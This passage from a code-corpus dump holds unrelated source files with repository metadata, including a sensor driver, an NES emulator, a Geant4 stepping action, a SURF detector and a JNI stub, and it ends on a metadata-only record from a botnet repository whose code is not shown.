ReadRegister(INA219_REG_POWER, &value_Raw); valueDec = (int16_t)value_Raw; valueDec /= ina219_powerDivider_mW; return valueDec; } } /* namespace Bsp */
[ "34563851+amitandgithub@users.noreply.github.com" ]
34563851+amitandgithub@users.noreply.github.com
44d93410572cd691a48f2d153e5c467410f055d0
9cd376a388eb6a812a8c86340256d92149fc72eb
/ios_cracker/apple_connection_device.h
2495aed134c17324b463dc99bd8439467a0b021f
[]
no_license
frankKiwi/aid
f290372b031d797cad32264a55110096a777aaf5
0207d6101b349cb338e982b4b22ed25dae27dda1
refs/heads/master
2023-08-04T12:40:35.996158
2021-09-17T06:24:04
2021-09-17T06:24:04
null
0
0
null
null
null
null
UTF-8
C++
false
false
611
h
#ifndef IOS_CRACKER_APPLE_CONNECTION_DEVICE_H_ #define IOS_CRACKER_APPLE_CONNECTION_DEVICE_H_ ////////////////////////////////////////////////////////////////////////// #include "ios_cracker/atl_dll_main.h" #include "ABI/thirdparty/glog/basictypes.h" ////////////////////////////////////////////////////////////////////////// namespace ios_cracker{ class WIN_DLL_API ConnectionDevice { public: ConnectionDevice(const char* udid); virtual ~ConnectionDevice(); private: DISALLOW_EVIL_CONSTRUCTORS(ConnectionDevice); }; } ////////////////////////////////////////////////////////////////////////// #endif
[ "voquanghoa@gmail.com" ]
voquanghoa@gmail.com
0f7151f230c430835fa42c382c9b998d93d80686
6a4bab87a7d665af121ec6617fc8f77afe76d57c
/ozones.cpp
a8d5c9b78c8798b5f0ab0f5f185640eb782e62e0
[ "MIT" ]
permissive
vodozhaba/ozones
4cceb941748b537f42c996474a2f6496c1f93db5
1f35b1d4d7d3e52c6b41e9bb8945f6e97c0003e9
refs/heads/master
2020-03-22T12:17:21.303965
2018-07-14T14:40:20
2018-07-14T14:40:20
140,030,616
0
0
null
null
null
null
UTF-8
C++
false
false
1,095
cpp
// This is an open source non-commercial project. Dear PVS-Studio, please check it. // PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com #include <fstream> #include <iostream> #include <memory> #include <SFML/Graphics.hpp> #include "cpu.h" #include "ines.h" #include "ram.h" #include "rom.h" using namespace ozones; int main() { auto ram = std::make_shared<Ram>(2048); std::ifstream rom; rom.open("/home/vodozhaba/nestest.nes", std::ios::in | std::ios::binary); INesHeader header; rom.read((char*) &header, sizeof(header)); auto prg_rom = std::make_shared<Rom>(rom, 16384 * header.prg_rom_size); ram->Map(prg_rom, 0xC000, 0, 32768); Cpu cpu(ram); while(true) { cpu.Tick(); } sf::RenderWindow app(sf::VideoMode(1024, 960), "OzoNES"); while (app.isOpen() || app.isOpen()) { sf::Event event; while (app.pollEvent(event)) { if (event.type == sf::Event::Closed) app.close(); } app.clear(); app.display(); } return EXIT_SUCCESS; }
[ "vodozhaba@vodozhaba.net" ]
vodozhaba@vodozhaba.net
e2b3d6c253cf514721d9ac4fa12a08a7559523b1
5aa4e2700c392378382c5a31fc1fcbbc0f98dfa4
/codeforces/codeforces_271A.cpp
7f2d70064c254a28193e8f726767c8b36eb005ff
[]
no_license
moayman/problem_solving
892a25d96bf2f27c53f8e6e1956a75f5350adcaa
088a65375ebe87436ee7fa891694fc551bc979c5
refs/heads/master
2022-06-25T20:32:58.733493
2022-05-16T19:47:46
2022-05-16T19:47:46
91,253,798
0
0
null
null
null
null
UTF-8
C++
false
false
652
cpp
#include <iostream> #include <unordered_set> using namespace std; bool isDistinct(int data) { int a = data % 10; data /= 10; int b = data % 10; data /= 10; int c = data % 10; data /= 10; int d = data % 10; if (!(a == b || a == c || a == d || b == c || b == d || c == d)) return true; return false; // unordered_set<int> distinct; // while (data) { // distinct.insert(data % 10); // data /= 10; // } // return distinct.size() == 4; } int main() { int data; cin >> data; while (!isDistinct(++data)) { } cout << data; return 0; }
[ "mo_ayman@live.com" ]
mo_ayman@live.com
9ee13f9e3302b1e5015aa35ebde1135260883c51
971713859cee54860e32dce538a7d5e796487c68
/unisim/unisim_lib/unisim/service/power/cache_dynamic_power.hh
aaa065525e8293a7ed0a18f486fca260ecf12fed
[]
no_license
binsec/cav2021-artifacts
3d790f1e067d1ca9c4123010e3af522b85703e54
ab9e387122968f827f7d4df696c2ca3d56229594
refs/heads/main
2023-04-15T17:10:10.228821
2021-04-26T15:10:20
2021-04-26T15:10:20
361,684,640
2
0
null
null
null
null
UTF-8
C++
false
false
2,759
hh
/* * Copyright (c) 2010, * Commissariat a l'Energie Atomique (CEA) * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * - Neither the name of CEA nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. * IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * Authors: Daniel Gracia Perez (daniel.gracia-perez@cea.fr) * Gilles Mouchard (gilles.mouchard@cea.fr) */ #ifndef __UNISIM_SERVICE_POWER_CACHE_DYNAMIC_POWER_HH__ #define __UNISIM_SERVICE_POWER_CACHE_DYNAMIC_POWER_HH__ #include "unisim/kernel/kernel.hh" #include "unisim/service/interfaces/time.hh" #include "unisim/service/power/cache_profile.hh" #include "unisim/service/power/cache_dynamic_energy.hh" #include <map> namespace unisim { namespace service { namespace power { using std::map; class CacheDynamicPower : public CacheDynamicEnergy { public: CacheDynamicPower(const map<CacheProfileKey, CacheProfile *> *_profiles, unisim::kernel::ServiceImport<unisim::service::interfaces::Time> *_time_import); ~CacheDynamicPower(); double GetDynamicPower() const; bool operator != ( CacheDynamicPower const& clp ) const { return GetDynamicPower() != clp.GetDynamicPower(); } private: unisim::kernel::ServiceImport<unisim::service::interfaces::Time> *time_import; }; } // end of namespace power } // end of namespace service } // end of namespace unisim #endif /* __UNISIM_SERVICE_POWER_CACHE_DYNAMIC_POWER_HH__ */
[ "guillaume.girol@cea.fr" ]
guillaume.girol@cea.fr
b57426a62d529a0ee4876b37b9932ba480763b88
1139028766ff753d88531a2b1c79f4ef75df74cc
/ONE/src/ONESteppingAction.cc
71d25e5c2c190eef88afad9e225f282e05baa7ce
[]
no_license
aleksha/G4-Models
b1b808c1eac596cc324c099fd419ba73628ed3da
1bb848a8d6b0981b188b8499ef260ebb7477daae
refs/heads/master
2022-05-07T23:59:39.173774
2022-04-19T10:06:56
2022-04-19T10:06:56
141,236,792
0
0
null
null
null
null
UTF-8
C++
false
false
3,790
cc
#include "ONESteppingAction.hh" #include "ONEEventAction.hh" #include "ONEDetectorConstruction.hh" #include "G4Step.hh" #include "G4Event.hh" #include "G4RunManager.hh" #include "G4LogicalVolume.hh" #include "G4SystemOfUnits.hh" //------------------------------------------------------------------------------ ONESteppingAction::ONESteppingAction(ONEEventAction* eventAction) : G4UserSteppingAction(), fEventAction(eventAction), fLV00(0) { myOUT .open( "out.data" , std::ios::trunc); } //------------------------------------------------------------------------------ ONESteppingAction::~ONESteppingAction(){ myOUT.close();} //------------------------------------------------------------------------------ void ONESteppingAction::UserSteppingAction(const G4Step* step) { if ( !fLV00 ){ const ONEDetectorConstruction* detectorConstruction = static_cast<const ONEDetectorConstruction*> (G4RunManager::GetRunManager()->GetUserDetectorConstruction()); fLV00 = detectorConstruction->GetLV00(); } // get volume of the current step G4LogicalVolume* volume = step->GetPreStepPoint()->GetTouchableHandle() ->GetVolume()->GetLogicalVolume(); int vol=-1; // check if we are in scoring volume if (volume == fLV00) vol= 0 ; // if (vol!=0 || vol!=5 || vol!=6 || vol!=7 || vol!=8 || vol!=15) return; G4Track* trk = step->GetTrack(); int tr_c = trk->GetDefinition()->GetPDGCharge(); int ev_id = G4EventManager::GetEventManager()->GetConstCurrentEvent()->GetEventID() ; int tr_id = trk->GetTrackID() ; double tr_m = trk->GetDefinition()->GetPDGMass() ; G4int p_code = trk->GetDefinition()->GetPDGEncoding(); int st_id = 0; if( step->IsFirstStepInVolume() ){ st_id = 1; } if( step->IsLastStepInVolume() ){ st_id = 2; } if( trk->GetKineticEnergy ()==0 ){ st_id = 3; } if(st_id>-1){ G4StepPoint* pre_step ; pre_step = step->GetPreStepPoint() ; G4StepPoint* post_step ; post_step = step->GetPostStepPoint() ; double tr_ed = step->GetTotalEnergyDeposit() - step->GetNonIonizingEnergyDeposit() ; //double tr_rd = step->GetNonIonizingEnergyDeposit() ; double tr_px = post_step->GetMomentum().x() ; double tr_py = post_step->GetMomentum().y() ; double tr_pz = post_step->GetMomentum().z() ; double tr_e = post_step->GetTotalEnergy () ; //double tr_t = post_step->GetKineticEnergy () ; double tr_post_x = post_step->GetPosition().x() / mm ; double tr_post_y = post_step->GetPosition().y() / mm ; double tr_post_z = post_step->GetPosition().z() / mm ; double g_post_time = post_step->GetGlobalTime () / ns ; double tr_pre_x = pre_step->GetPosition().x() / mm ; double tr_pre_y = pre_step->GetPosition().y() / mm ; double tr_pre_z = pre_step->GetPosition().z() / mm ; double g_pre_time = pre_step->GetGlobalTime () / ns ; double tr_x = 0.5 * (tr_pre_x + tr_post_x); double tr_y = 0.5 * (tr_pre_y + tr_post_y); double tr_z = 0.5 * (tr_pre_z + tr_post_z); double g_time = 0.5 * (g_pre_time + g_post_time); if(myOUT.is_open() && vol==0 ) myOUT << ev_id << " " << tr_id << " " << st_id << " " << vol << " " << tr_ed << " " << p_code << " " << tr_c << " " << tr_e << " " << tr_post_x << " " << tr_post_y << " " << tr_post_z << " " << g_post_time << " " << tr_px << " " << tr_py << " " << tr_pz << " " << tr_m << G4endl; } // // collect energy deposited in this step // G4double edepStep = step->GetTotalEnergyDeposit(); // fEventAction->AddEdep(edepStep); } //------------------------------------------------------------------------------
[ "a.dzyuba@gmail.com" ]
a.dzyuba@gmail.com
49493091081bea0ada91654b3815154ab707ff02
ba02836cd2ea9f1a6035e5b34d67ba87abf9ce4d
/include/X-GSD/Entity.hpp
4fcbb6e9cc89e53dbe3f23b88ed207886a75c3fb
[ "Zlib" ]
permissive
AndresRuizBernabeu/X-GSD
3c37e71103f758e9db05dd3e89b830db416c83fe
1f0b294e27f5aee0fb0448207cd1091c9d42ae44
refs/heads/master
2020-04-26T02:19:27.104035
2015-09-08T18:43:35
2015-09-08T18:43:35
31,606,886
1
1
null
null
null
null
UTF-8
C++
false
false
3,919
hpp
#pragma once #include <X-GSD/SceneGraphNode.hpp> #include <X-GSD/Event.hpp> #include <X-GSD/Component.hpp> // Include all built-in components #include <X-GSD/ComponentSprite.hpp> #include <X-GSD/ComponentRigidBody.hpp> #include <X-GSD/ComponentCollider.hpp> #include <SFML/Graphics/RenderTarget.hpp> // Completes the RenderTarget forward declaration in Drawable, inherited from SceneGrahpNode #include <map> #include <unordered_map> #include <typeindex> #include <cassert> namespace xgsd { /* Entity class. Entities are the basic and fundamental units of X-GSD. An Entity is a SceneGraphNode (an element of a Scene, with all the required scene graph behaviour and properties such as a Transform, a reference to a parent node and a collection of children nodes) with added functionality and a unique name which identifies it. Entities can hold Components, which add more specific functionality and properties. */ class Entity : public SceneGraphNode { // Typedefs and enumerations public: typedef std::unique_ptr<Entity> Ptr; // Methods public: Entity(std::string name); ~Entity(); void onAttachThis() override; void onDetachThis() override; void onPauseThis(const HiResDuration &dt) override; void updateThis(const HiResDuration& dt) override; void drawThis(sf::RenderTarget& target, sf::RenderStates states) const override; void handleEventThis(const Event& event) override; void addComponent(Component::Ptr component); template <typename T> std::unique_ptr<T> removeComponent(); template <typename T> T* getComponent(); void collisionHandler(Entity* theOtherEntity, sf::FloatRect collision); std::string getName(); static Entity* getEntityNamed(std::string name); // Variables (member / properties) private: std::map<std::type_index, Component::Ptr> mComponents; std::string mName; static std::unordered_map<std::string, Entity*> entities; // TODO: Make it non-static. Maybe inside Scene class, so that each scene has a collection of pointers to entities }; ///////////////////////////// // Template implementation // ///////////////////////////// template <typename T> std::unique_ptr<T> Entity::removeComponent() { // Retrieve the type_index of T std::type_index index(typeid(T)); // Ensure that a component with type T exists in the collection assert(mComponents.count(std::type_index(typeid(T))) != 0); // Retrieve it from the collection and cast it back to the T polymorphic type T *tmp = static_cast<T*>(mComponents[index].get()); // Remove it from the collection and return it std::unique_ptr<T> removedComponent(tmp); mComponents[index].release(); mComponents.erase(index); removedComponent->detachedFromEntity(); return removedComponent; } template <typename T> T* Entity::getComponent() { // Retrieve the type_index of T std::type_index index(typeid(T)); // If it exists in the collection, retrieve it, cast it back to the T polymorphic type and return it if (mComponents.count(std::type_index(typeid(T))) != 0) { return static_cast<T*>(mComponents[index].get()); } // Otherwise, a nullptr is returned else { return nullptr; } } } // namespace xgsd
[ "a.ruiz@studioseventiles.com" ]
a.ruiz@studioseventiles.com
90b7d99bee7e1a9486fa86e6d12bfe3fe1bdebed
2aa3696a38b5777165ecd12b2072062fa8fa9fde
/tempreature/tempreature.ino
2f9583fcde6cc4f36ffbfaeb352e44735537f5a5
[]
no_license
dSquadAdmin/arduinoTraining072
508533fb783297daa6e66653fec10b0000d119fd
8aa9a5d2d755f67a6a85a63a5c65f42e112ec8a2
refs/heads/master
2016-08-11T14:20:32.529357
2016-01-06T01:04:47
2016-01-06T01:04:47
49,101,088
0
1
null
null
null
null
UTF-8
C++
false
false
499
ino
/* * DIGITAL THERMOMETER WITH TEMPREATURE SENSING IC LM35 * CODE BY: BIST, keshav [dSquadAdmin] * URL: http://keshavbist.com.np * For Robotics Club of Pashchimanchal Campus * (http://robotics.wrc.edu.np) * * HARDWARE CONNECTION: * PIN1 : +5v * PIN2 : Arduino Pin A0 * PIN3 : Ground */ void setup(){ pinMode(A0, INPUT); Serial.begin(9600); while(!Serial){ } } void loop(){ float temp; temp = analogRead(A0)/2; Serial.write("Temp="); Serial.println(temp, HEX); delay(100): }
[ "keshavbist19@gmail.com" ]
keshavbist19@gmail.com
1387b2bcedd6d8f0f93a283f48b4f3b2ca547e21
33a52c90e59d8d2ffffd3e174bb0d01426e48b4e
/uva/00100-/00170.cc
a715abaf4763069dd08f598f5d583073bf9d8881
[]
no_license
Hachimori/onlinejudge
eae388bc39bc852c8d9b791b198fc4e1f540da6e
5446bd648d057051d5fdcd1ed9e17e7f217c2a41
refs/heads/master
2021-01-10T17:42:37.213612
2016-05-09T13:00:21
2016-05-09T13:00:21
52,657,557
0
0
null
null
null
null
UTF-8
C++
false
false
809
cc
#include<iostream> #include<string> #include<vector> #define BUF 14 #define CARD 52 using namespace std; vector<string> pile[BUF]; bool read(){ for(int i=0;i<BUF;i++) pile[i] = vector<string>(); for(int i=0;i<CARD;i++){ string s; cin >> s; if(s=="#") return false; pile[13-i%13].insert(pile[13-i%13].begin(),s); } return true; } void work(){ string last; int cur = 13, cnt = 0; while(!pile[cur].empty()){ last = pile[cur].back(); pile[cur].pop_back(); cnt++; if(last[0]=='A') cur = 1; if(last[0]=='T') cur = 10; if(last[0]=='J') cur = 11; if(last[0]=='Q') cur = 12; if(last[0]=='K') cur = 13; if(isdigit(last[0])) cur = last[0]-'0'; } printf("%02d,%s\n",cnt,last.c_str()); } int main(){ while(read()) work(); return 0; }
[ "ben.shooter2@gmail.com" ]
ben.shooter2@gmail.com
c9b88f62ce5475e086f581e01507f492775efb35
b165f9573d1b534a046344b1e933c692b9983bdd
/platform/hardware/xilinx/modules/axis_timer/axis_timer.cpp
c6675f881260a9160b0e650f915fd9c3beac7ed4
[ "Apache-2.0" ]
permissive
oika/connect
18a4aa3dccf702f0e90717a864564d225b9a85e7
2486b97256d7adcd130f90d5c3e665d90ef1a39d
refs/heads/master
2020-03-22T09:08:13.614323
2018-07-10T03:03:54
2018-07-10T03:03:54
139,817,722
0
0
Apache-2.0
2018-07-05T08:18:05
2018-07-05T08:18:05
null
UTF-8
C++
false
false
407
cpp
#include "connect_platform.hpp" #include "hls_stream.h" #include "ap_int.h" using namespace hls; void axis_timer(stream<ap_uint<1> > &intr_stream) { #pragma HLS DATAFLOW #pragma HLS INTERFACE ap_ctrl_none port=return #pragma HLS INTERFACE axis register both port=intr_stream static ap_uint<7> count = 0; if (count++ == 0b1111111 && !intr_stream.full()) { intr_stream.write(1); } }
[ "rasshai on github" ]
rasshai on github
205fdf74194b31b1aa0b71d63e744b615671e35c
09dfc0e039143673380a3d490c84b6c0d3d6ee6c
/surf_object_recognition/src/fasthessian.cpp
2721a0a80358176dc44f71a4d0ec48675cd9adc0
[]
no_license
vishu2287/ucsb-ros-pkg
8642a78ddbe352fcb544658fb23737cb3ce86f04
b2e34c76b362a69b6c2f3c34c9f5cee419aa9839
refs/heads/master
2016-09-10T04:40:42.981912
2011-03-16T07:40:18
2011-03-16T07:40:18
34,023,815
0
0
null
null
null
null
UTF-8
C++
false
false
12,292
cpp
/*********************************************************** * --- OpenSURF --- * * This library is distributed under the GNU GPL. Please * * use the contact form at http://www.chrisevansdev.com * * for more information. * * * * C. Evans, Research Into Robust Visual Features, * * MSc University of Bristol, 2008. * * * ************************************************************/ #include "integral.h" #include "ipoint.h" #include "utils.h" #include <vector> #include "responselayer.h" #include "fasthessian.h" using namespace std; //------------------------------------------------------- //! Constructor without image FastHessian::FastHessian(std::vector<Ipoint> &ipts, const int octaves, const int intervals, const int init_sample, const float thresh) : ipts(ipts), i_width(0), i_height(0) { // Save parameter set saveParameters(octaves, intervals, init_sample, thresh); } //------------------------------------------------------- //! Constructor with image FastHessian::FastHessian(IplImage *img, std::vector<Ipoint> &ipts, const int octaves, const int intervals, const int init_sample, const float thresh) : ipts(ipts), i_width(0), i_height(0) { // Save parameter set saveParameters(octaves, intervals, init_sample, thresh); // Set the current image setIntImage(img); } //------------------------------------------------------- FastHessian::~FastHessian() { for (unsigned int i = 0; i < responseMap.size(); ++i) { delete responseMap[i]; } } //------------------------------------------------------- //! Save the parameters void FastHessian::saveParameters(const int octaves, const int intervals, const int init_sample, const float thresh) { // Initialise variables with bounds-checked values this->octaves = (octaves > 0 && octaves <= 4 ? octaves : OCTAVES); this->intervals = (intervals > 0 && intervals <= 4 ? intervals : INTERVALS); this->init_sample = (init_sample > 0 && init_sample <= 6 ? init_sample : INIT_SAMPLE); this->thresh = (thresh >= 0 ? thresh : THRES); } //------------------------------------------------------- //! Set or re-set the integral image source void FastHessian::setIntImage(IplImage *img) { // Change the source image this->img = img; i_height = img->height; i_width = img->width; } //------------------------------------------------------- //! Find the image features and write into vector of features void FastHessian::getIpoints() { // filter index map static const int filter_map [OCTAVES][INTERVALS] = {{0,1,2,3}, {1,3,4,5}, {3,5,6,7}, {5,7,8,9}, {7,9,10,11}}; // Clear the vector of exisiting ipts ipts.clear(); // Build the response map buildResponseMap(); // Get the response layers ResponseLayer *b, *m, *t; for (int o = 0; o < octaves; ++o) for (int i = 0; i <= 1; ++i) { b = responseMap.at(filter_map[o][i]); m = responseMap.at(filter_map[o][i+1]); t = responseMap.at(filter_map[o][i+2]); // loop over middle response layer at density of the most // sparse layer (always top), to find maxima across scale and space for (int r = 0; r < t->height; ++r) { for (int c = 0; c < t->width; ++c) { if (isExtremum(r, c, t, m, b)) { interpolateExtremum(r, c, t, m, b); } } } } } //------------------------------------------------------- //! Build map of DoH responses void FastHessian::buildResponseMap() { // Calculate responses for the first 4 octaves: // Oct1: 9, 15, 21, 27 // Oct2: 15, 27, 39, 51 // Oct3: 27, 51, 75, 99 // Oct4: 51, 99, 147,195 // Oct5: 99, 195,291,387 // Deallocate memory and clear any existing response layers for(unsigned int i = 0; i < responseMap.size(); ++i) delete responseMap[i]; responseMap.clear(); // Get image attributes int w = (i_width / init_sample); int h = (i_height / init_sample); int s = (init_sample); // Calculate approximated determinant of hessian values if (octaves >= 1) { responseMap.push_back(new ResponseLayer(w, h, s, 9)); responseMap.push_back(new ResponseLayer(w, h, s, 15)); responseMap.push_back(new ResponseLayer(w, h, s, 21)); responseMap.push_back(new ResponseLayer(w, h, s, 27)); } if (octaves >= 2) { responseMap.push_back(new ResponseLayer(w/2, h/2, s*2, 39)); responseMap.push_back(new ResponseLayer(w/2, h/2, s*2, 51)); } if (octaves >= 3) { responseMap.push_back(new ResponseLayer(w/4, h/4, s*4, 75)); responseMap.push_back(new ResponseLayer(w/4, h/4, s*4, 99)); } if (octaves >= 4) { responseMap.push_back(new ResponseLayer(w/8, h/8, s*8, 147)); responseMap.push_back(new ResponseLayer(w/8, h/8, s*8, 195)); } if (octaves >= 5) { responseMap.push_back(new ResponseLayer(w/16, h/16, s*16, 291)); responseMap.push_back(new ResponseLayer(w/16, h/16, s*16, 387)); } // Extract responses from the image for (unsigned int i = 0; i < responseMap.size(); ++i) { buildResponseLayer(responseMap[i]); } } //------------------------------------------------------- //! Calculate DoH responses for supplied layer void FastHessian::buildResponseLayer(ResponseLayer *rl) { float *responses = rl->responses; // response storage unsigned char *laplacian = rl->laplacian; // laplacian sign storage int step = rl->step; // step size for this filter int b = (rl->filter - 1) / 2 + 1; // border for this filter int l = rl->filter / 3; // lobe for this filter (filter size / 3) int w = rl->filter; // filter size float inverse_area = 1.f/(w*w); // normalisation factor float Dxx, Dyy, Dxy; for(int r, c, ar = 0, index = 0; ar < rl->height; ++ar) { for(int ac = 0; ac < rl->width; ++ac, index++) { // get the image coordinates r = ar * step; c = ac * step; // Compute response components Dxx = BoxIntegral(img, r - l + 1, c - b, 2*l - 1, w) - BoxIntegral(img, r - l + 1, c - l / 2, 2*l - 1, l)*3; Dyy = BoxIntegral(img, r - b, c - l + 1, w, 2*l - 1) - BoxIntegral(img, r - l / 2, c - l + 1, l, 2*l - 1)*3; Dxy = + BoxIntegral(img, r - l, c + 1, l, l) + BoxIntegral(img, r + 1, c - l, l, l) - BoxIntegral(img, r - l, c - l, l, l) - BoxIntegral(img, r + 1, c + 1, l, l); // Normalise the filter responses with respect to their size Dxx *= inverse_area; Dyy *= inverse_area; Dxy *= inverse_area; // Get the determinant of hessian response & laplacian sign responses[index] = (Dxx * Dyy - 0.81f * Dxy * Dxy); laplacian[index] = (Dxx + Dyy >= 0 ? 1 : 0); #ifdef RL_DEBUG // create list of the image coords for each response rl->coords.push_back(std::make_pair<int,int>(r,c)); #endif } } } //------------------------------------------------------- //! Non Maximal Suppression function int FastHessian::isExtremum(int r, int c, ResponseLayer *t, ResponseLayer *m, ResponseLayer *b) { // bounds check int layerBorder = (t->filter + 1) / (2 * t->step); if (r <= layerBorder || r >= t->height - layerBorder || c <= layerBorder || c >= t->width - layerBorder) return 0; // check the candidate point in the middle layer is above thresh float candidate = m->getResponse(r, c, t); if (candidate < thresh) return 0; for (int rr = -1; rr <=1; ++rr) { for (int cc = -1; cc <=1; ++cc) { // if any response in 3x3x3 is greater candidate not maximum if ( t->getResponse(r+rr, c+cc) >= candidate || ((rr != 0 && cc != 0) && m->getResponse(r+rr, c+cc, t) >= candidate) || b->getResponse(r+rr, c+cc, t) >= candidate ) return 0; } } return 1; } //------------------------------------------------------- //! Interpolate scale-space extrema to subpixel accuracy to form an image feature. void FastHessian::interpolateExtremum(int r, int c, ResponseLayer *t, ResponseLayer *m, ResponseLayer *b) { // get the step distance between filters // check the middle filter is mid way between top and bottom int filterStep = (m->filter - b->filter); assert(filterStep > 0 && t->filter - m->filter == m->filter - b->filter); // Get the offsets to the actual location of the extremum double xi = 0, xr = 0, xc = 0; interpolateStep(r, c, t, m, b, &xi, &xr, &xc ); // If point is sufficiently close to the actual extremum if( fabs( xi ) < 0.5f && fabs( xr ) < 0.5f && fabs( xc ) < 0.5f ) { Ipoint ipt; ipt.x = static_cast<float>((c + xc) * t->step); ipt.y = static_cast<float>((r + xr) * t->step); ipt.scale = static_cast<float>((0.1333f) * (m->filter + xi * filterStep)); ipt.laplacian = static_cast<int>(m->getLaplacian(r,c,t)); ipts.push_back(ipt); } } //------------------------------------------------------- //! Performs one step of extremum interpolation. void FastHessian::interpolateStep(int r, int c, ResponseLayer *t, ResponseLayer *m, ResponseLayer *b, double* xi, double* xr, double* xc ) { CvMat* dD, * H, * H_inv, X; double x[3] = { 0 }; dD = deriv3D( r, c, t, m, b ); H = hessian3D( r, c, t, m, b ); H_inv = cvCreateMat( 3, 3, CV_64FC1 ); cvInvert( H, H_inv, CV_SVD ); cvInitMatHeader( &X, 3, 1, CV_64FC1, x, CV_AUTOSTEP ); cvGEMM( H_inv, dD, -1, NULL, 0, &X, 0 ); cvReleaseMat( &dD ); cvReleaseMat( &H ); cvReleaseMat( &H_inv ); *xi = x[2]; *xr = x[1]; *xc = x[0]; } //------------------------------------------------------- //! Computes the partial derivatives in x, y, and scale of a pixel. CvMat* FastHessian::deriv3D(int r, int c, ResponseLayer *t, ResponseLayer *m, ResponseLayer *b) { CvMat* dI; double dx, dy, ds; dx = (m->getResponse(r, c + 1, t) - m->getResponse(r, c - 1, t)) / 2.0; dy = (m->getResponse(r + 1, c, t) - m->getResponse(r - 1, c, t)) / 2.0; ds = (t->getResponse(r, c) - b->getResponse(r, c, t)) / 2.0; dI = cvCreateMat( 3, 1, CV_64FC1 ); cvmSet( dI, 0, 0, dx ); cvmSet( dI, 1, 0, dy ); cvmSet( dI, 2, 0, ds ); return dI; } //------------------------------------------------------- //! Computes the 3D Hessian matrix for a pixel. CvMat* FastHessian::hessian3D(int r, int c, ResponseLayer *t, ResponseLayer *m, ResponseLayer *b) { CvMat* H; double v, dxx, dyy, dss, dxy, dxs, dys; v = m->getResponse(r, c, t); dxx = m->getResponse(r, c + 1, t) + m->getResponse(r, c - 1, t) - 2 * v; dyy = m->getResponse(r + 1, c, t) + m->getResponse(r - 1, c, t) - 2 * v; dss = t->getResponse(r, c) + b->getResponse(r, c, t) - 2 * v; dxy = ( m->getResponse(r + 1, c + 1, t) - m->getResponse(r + 1, c - 1, t) - m->getResponse(r - 1, c + 1, t) + m->getResponse(r - 1, c - 1, t) ) / 4.0; dxs = ( t->getResponse(r, c + 1) - t->getResponse(r, c - 1) - b->getResponse(r, c + 1, t) + b->getResponse(r, c - 1, t) ) / 4.0; dys = ( t->getResponse(r + 1, c) - t->getResponse(r - 1, c) - b->getResponse(r + 1, c, t) + b->getResponse(r - 1, c, t) ) / 4.0; H = cvCreateMat( 3, 3, CV_64FC1 ); cvmSet( H, 0, 0, dxx ); cvmSet( H, 0, 1, dxy ); cvmSet( H, 0, 2, dxs ); cvmSet( H, 1, 0, dxy ); cvmSet( H, 1, 1, dyy ); cvmSet( H, 1, 2, dys ); cvmSet( H, 2, 0, dxs ); cvmSet( H, 2, 1, dys ); cvmSet( H, 2, 2, dss ); return H; } //-------------------------------------------------------
[ "filitchp@gmail.com@0b0f7875-c668-5978-e4a7-07162229f4fe" ]
filitchp@gmail.com@0b0f7875-c668-5978-e4a7-07162229f4fe
6cd0a8eee4766e80b4434157570e131126d21708
68b58eabac7d9abfce991503b74d2339ee4451a3
/MyApplication2/app/src/main/cpp/native-lib.cpp
11a7a6c319500c31ed2963bc0c94bffe9e53d2e1
[]
no_license
mustafaahmed-hub/MyApplication
e585ae20cd7d4359b7de60d9150d912a306a77d9
7de7d3239cd6c01ecad38a6cd0b7805966d0bb92
refs/heads/master
2021-09-25T01:24:42.780629
2018-03-29T13:48:10
2018-03-29T13:48:10
123,416,090
1
0
null
null
null
null
UTF-8
C++
false
false
281
cpp
#include <jni.h> #include <string> extern "C" JNIEXPORT jstring JNICALL Java_com_example_mustafa_myapplication_MainActivity_stringFromJNI( JNIEnv *env, jobject /* this */) { std::string hello = "Hello from C++"; return env->NewStringUTF(hello.c_str()); }
[ "mustafaahmed41@gmail.com" ]
mustafaahmed41@gmail.com
31ca7e26f482b9cd962300b8d8607f0b94c06122
d49b8536d996a81fd2a356f2ccd850abd4447217
/VirusPack/ri0t[v5]/ri0t[v5]/cpp/commands.cpp
beb541de1c843304f592a29a9b16b30802c9ef61
[]
no_license
JonnyBanana/botnets
28a90ab80f973478d54579f3d3eadc5feb33ff77
995b9c20aca5de0ae585ae17780a31e8bdfd9844
refs/heads/master
2021-07-01T01:51:01.211451
2020-10-22T23:14:57
2020-10-22T23:14:57
148,392,362
9
5
null
null
null
null
WINDOWS-1252
C++
false
false
31,316
cpp
